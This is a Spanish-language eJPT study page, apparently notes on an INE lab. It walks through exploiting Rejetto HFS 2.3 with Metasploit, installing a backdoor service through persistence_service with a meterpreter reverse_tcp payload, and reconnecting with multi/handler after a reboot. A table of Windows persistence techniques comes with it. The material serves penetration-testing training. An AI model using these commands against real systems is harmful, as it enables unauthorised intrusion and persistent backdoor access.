> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/post-explotacion/persistencia/persistencia-en-windows/persistencia-a-traves-de-servicios.md).

# Persistencia a través de servicios

Según MITRE ATT\&CK, la **persistencia** abarca técnicas utilizadas por los atacantes para **mantener el acceso** a sistemas incluso después de reinicios, cambios de credenciales u otras acciones defensivas. Esto puede lograrse mediante la modificación de configuraciones, inyección de código o creación de scripts de inicio automático.

***

### 🔁 ¿Por qué es vital la persistencia?

Conseguir acceso inicial a un sistema **no es suficiente**. Si el objetivo reinicia, cambia contraseñas o actualiza el sistema, puedes perder tu control a menos que:

* **Automatices el restablecimiento del acceso.**
* **Instales un punto de acceso oculto.**
* **Te incrustes en procesos o configuraciones legítimas.**

***

### 🛠️ Formas comunes de persistencia en Windows

| Técnica                         | Descripción                                                                                                                                  |
| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
| **Startup Folder**              | Copiar un ejecutable o script malicioso en la carpeta de inicio del usuario (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`).     |
| **Run/RunOnce Keys (Registry)** | Añadir claves en el registro para que se ejecuten comandos al iniciar sesión. Ejemplo: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`. |
| **Scheduled Tasks**             | Crear tareas programadas que lancen tu payload a intervalos o al iniciar el sistema.                                                         |
| **WMI Event Subscriptions**     | Persistencia avanzada basada en eventos del sistema usando WMI.                                                                              |
| **DLL Hijacking**               | Reemplazo de librerías que se cargan automáticamente por versiones maliciosas.                                                               |

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/9y7LZVNC7H0792aMCaY5" alt=""><figcaption></figcaption></figure>

**Paso 2:** Ejecute un escaneo de Nmap contra el objetivo.

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/qY5OE3d6UeSXoHDoSeox" alt=""><figcaption></figcaption></figure>

**Paso 3:** Hemos detectado que varios puertos están abiertos. Ejecutaremos Nmap de nuevo para determinar la versión del puerto 80.

**Dominio:**

```
nmap -sV -p 80 demo.ine.local
```

<figure><img src="/files/h7s1phRMeGvLoYCJkqc9" alt=""><figcaption></figcaption></figure>

**Paso 4:** Buscaremos el módulo de explotación del servidor de archivos hfs usando searchsploit.

**Dominio:**

```
searchsploit hfs
```

<figure><img src="/files/44M4fMfay5t033HyS4Cu" alt=""><figcaption></figcaption></figure>

**Paso 5:** El servidor de archivos HTTP Rejetto (HFS) 2.3 es vulnerable a ataques RCE. Se está explotando el servidor objetivo mediante Metasploit.

**Comandos:**

```
msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS demo.ine.local
set LHOST <Make Sure to Enter Valid LHOST IP Address>
exploit
```

<figure><img src="/files/IcnbIARm7dUH2i8qH7aD" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito la aplicación vulnerable de destino (hfs) y recibimos un shell meterpreter.

**Paso 6:** Verificar el usuario actual.

**Dominio:**

```
getuid
```

<figure><img src="/files/7RK0wQmp13uuGcSvYo9y" alt=""><figcaption></figcaption></figure>

**Paso 7:** Observamos que estamos ejecutando el sistema como administrador. Usaremos el módulo de exploits local de Metasploit para el acceso persistente (exploit/windows/local/persistence\_service).

**Instalador de servicios persistentes de Windows**

Este módulo generará y cargará un ejecutable en un host remoto. A continuación, lo convertirá en un servicio persistente. Creará un nuevo servicio que iniciará la carga útil cada vez que se ejecute. Se requieren privilegios de administrador o del sistema.

**Fuente:** <https://www.rapid7.com/db/modules/exploit/windows/local/persistence\\_service/>

**Paso 8:** Ejecutar el módulo de persistencia del servicio para mantener el acceso a la máquina comprometida.

**Comandos:**

```
background
use exploit/windows/local/persistence_service
set SESSION 1
exploit
```

**Nota:**&#x44;e forma predeterminada, el módulo de explotación local utiliza la siguiente carga útil y puerto local para la conexión inversa:

* Carga útil: windows/meterpreter/reverse\_tcp
* LHOST: Dirección IP de ataque.
* PUERTO L: 4444

<figure><img src="/files/6i6RujLkVD6IDrNVfULl" alt=""><figcaption></figcaption></figure>

**Paso 9:** Hemos mantenido el acceso correctamente. Inicie otra msfconsole y ejecute el controlador múltiple para recuperar el acceso.

**Comandos:**

```
msfconsole -q
use exploit/multi/handler
set LHOST <Attacker Kali Machine IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
exploit
```

<figure><img src="/files/RiKNFwSmaF03MVNLSizW" alt=""><figcaption></figcaption></figure>

**Paso 10:** Regrese a la sesión activa de meterpreter y reinicie la máquina.

**Comandos:**

```
session -i 1
reboot
```

<figure><img src="/files/uv29yjPkXHNw12BevmMw" alt=""><figcaption></figcaption></figure>

Una vez que la máquina se reinicia, esperaríamos una nueva sesión de meterpreter sin reexplotación. Esto ocurrió porque añadimos un ejecutable malicioso para mantener el acceso.

<figure><img src="/files/PHvv0lkhTfxbbFrLgeZe" alt=""><figcaption></figcaption></figure>

Hemos recibido una nueva sesión de meterpreter con los más privilegiados.

Además, la puerta trasera se ejecuta como servicio. Incluso si se cierra la sesión, la recuperaríamos volviendo a ejecutar el multicontrolador de Metasploit. En este caso, salimos de la sesión y ejecutamos el controlador para recuperarla.

**Dominio:**

```
exit
exploit
```

<figure><img src="/files/nvVVcHbV0o62NIycMnX5" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, aprendimos sobre una forma de mantener el acceso persistente a la máquina de destino.

#### Referencias

1. [Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution](https://www.exploit-db.com/exploits/39161)
2. [Metasploit Module](https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec)
3. [Persistence Module](https://www.rapid7.com/db/modules/exploit/windows/local/persistence_service/)
